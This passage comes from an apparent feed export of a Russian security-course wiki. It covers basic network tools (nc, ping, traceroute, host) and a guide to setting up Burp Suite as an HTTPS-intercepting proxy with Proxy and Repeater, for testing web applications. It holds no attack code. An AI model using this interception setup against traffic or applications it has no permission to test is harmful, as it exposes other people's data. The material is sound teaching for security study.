&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc www.google.com 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: www.google.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===ping===&lt;br /&gt;
Утилита для проверки целостности и качества соединений в сетях на основе TCP/IP, а также обиходное наименование самого запроса.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
home:~$ ping -i 5 -c 3 example.org&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===traceroute===&lt;br /&gt;
Служебная компьютерная программа, предназначенная для определения маршрутов следования данных в сетях TCP/IP.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
home:~$ traceroute example.org&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Host===&lt;br /&gt;
Утилита в UNIX-системах, предназначенная для обращения и получения информации DNS-серверов.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
home:~$ host example.org&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Burp Suit - Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен Burp Suite. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;).&lt;br /&gt;
===Burp===&lt;br /&gt;
Рекомендуется использовать Burp Suite в связке с браузером Firefox. Для полноценной работы прокси-сервера с браузером нужно настроить следующее:&lt;br /&gt;
включить и настроить сам прокси-сервер;&lt;br /&gt;
перенаправить весь трафика браузера на прокси-сервер;&lt;br /&gt;
добавить корневой сертификат прокси-сервера в список доверенных для возможности перехвата HTTPS-траффика.&lt;br /&gt;
Настройка прокси-сервера&lt;br /&gt;
В первую очередь нужно запустить Burp Suite, прокликав несколько раз кнопку &amp;quot;Next&amp;quot; и ей подобные. Во вкладке Proxy/Options убедиться в том, что стандартный слушающий порт активен (отметка в столбце Running) или выбрать новый (Add).&lt;br /&gt;
[[Файл:Burp guide1.png|1024px]]&lt;br /&gt;
Во вкладке Proxy/Intercept убедиться в том, что активный перехват трафика выключен (Intercept is off), в противном случае нажать на кнопку &amp;quot;Intercept is on&amp;quot;.&lt;br /&gt;
[[Файл:Burp guide2.png|1024px]]&lt;br /&gt;
Настройка браузера&lt;br /&gt;
Для добавления прокси-сервера в настройках браузера Firefox нужно поискать по ключевому слову &amp;quot;proxy&amp;quot; или &amp;quot;прокси&amp;quot;, а затем добавить прокси-сервер http://localhost:8080 (или любой другой свободный порт, его можно настроить в Burp Suite, 8080 - стандартный).&lt;br /&gt;
[[Файл:Burp guide3.png|1024px]]&lt;br /&gt;
Затем в браузере перейти по ссылке на главную страницу самого прокси-сервера (работает только при перенаправлении трафика через прокси-сервер).&lt;br /&gt;
[[Файл:Burp guide4.png|1024px]]&lt;br /&gt;
И скачать корневой сертификат неких любителей портвейна (PortSwigger). После этого нужно добавить этот сертификат в браузер (для Firefox: поиск в настройках по &amp;quot;certificate&amp;quot; или &amp;quot;сертификат&amp;quot; и кнопка &amp;quot;Import&amp;quot; в Менеджере сертификатов). А потом убедиться, что PortSwigger CA появился в списке сертификатов. &lt;br /&gt;
[[Файл:Burp guide5.png|1024px]]&lt;br /&gt;
Иструкция по применению&lt;br /&gt;
Теперь все готово для тестирования любого веб-приложения. Для нашего курса нам понадобятся только 2 инструмента из набора Burp Suite:&lt;br /&gt;
Proxy;&lt;br /&gt;
Repeater.&lt;br /&gt;
Вкладка Proxy/Intercept позволяет изменять запросы, отправляемые бразуером &amp;quot;на лету&amp;quot;, а затем наблюдать за отображением ответа на модифицированный запрос в браузере. В этой вкладке можно редактировать запросы как тест, а затем пересылать их дальше кнопкой &amp;quot;Forward&amp;quot;.&lt;br /&gt;
Вкладка Proxy/HTTP history отображает историю всех HTTP(s)-запросов, отправленных браузером, и ответов на них. Для того, чтобы можно было отредактировать и послать на сервер какой-то запрос из истории, нужно кликнуть правой кнопкой мыши на нужный запрос и выбрать пункт &amp;quot;Send to Repeater&amp;quot;.&lt;br /&gt;
[[Файл:Burp guide6.png|1024px]]&lt;br /&gt;
После этого можно перейти во вкладку Repeater, редактировать выбранный запрос как тест и посылать его на сервер кнопкой &amp;quot;Go&amp;quot;. В правой половине вкладки будет отображаться ответ от сервера на этот запрос.&lt;br /&gt;
[[Файл:Burp guide7.png|1024px]]&lt;br /&gt;
==Ссылки==&lt;br /&gt;
* [https://drive.google.com/file/d/16MU84BVlB-U9h7mLaE0O0f7n3Ratk1lH/view?usp=sharing Презентация &amp;quot;Введение в веб-технологии&amp;quot;]&lt;br /&gt;
* [https://yadi.sk/i/XR_SLTlclESVYA Видео &amp;quot;Введение в веб-технологии&amp;quot;]&lt;br /&gt;
* [https://www.google.com/ https://www.google.com/]&lt;br /&gt;
* [https://wikipedia.org https://wikipedia.org]&lt;br /&gt;
* [https://developer.mozilla.org/ru/docs/Web https://developer.mozilla.org]&lt;br /&gt;
* [https://medium.com/@yangmuxizi/tcp-ip-vs-osi-%D0%BA%D0%B0%D0%BA%D0%B8%D0%B5-%D1%80%D0%B0%D0%B7%D0%BB%D0%B8%D1%87%D0%B8%D1%8F-%D1%83-%D1%8D%D1%82%D0%B8%D1%85-%D0%B4%D0%B2%D1%83%D1%85-%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D0%B5%D0%B9-7f6e6c7c12ce TCP/IP vs. OSI: Какие Различия у Этих Двух Моделей?]&lt;br /&gt;
* [https://course.secsem.ru/wiki/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection лекция по веб-технологиям]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Ethernet_Type_II_Frame_format.svg.png&amp;diff=296</id>
		<title>Файл:Ethernet Type II Frame format.svg.png</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Ethernet_Type_II_Frame_format.svg.png&amp;diff=296"/>
		<updated>2020-09-29T20:39:01Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Burp_guide7.png&amp;diff=295</id>
		<title>Файл:Burp guide7.png</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Burp_guide7.png&amp;diff=295"/>
		<updated>2020-09-29T20:31:19Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: Romankholin94 загрузил новую версию Файл:Burp guide7.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
</feed>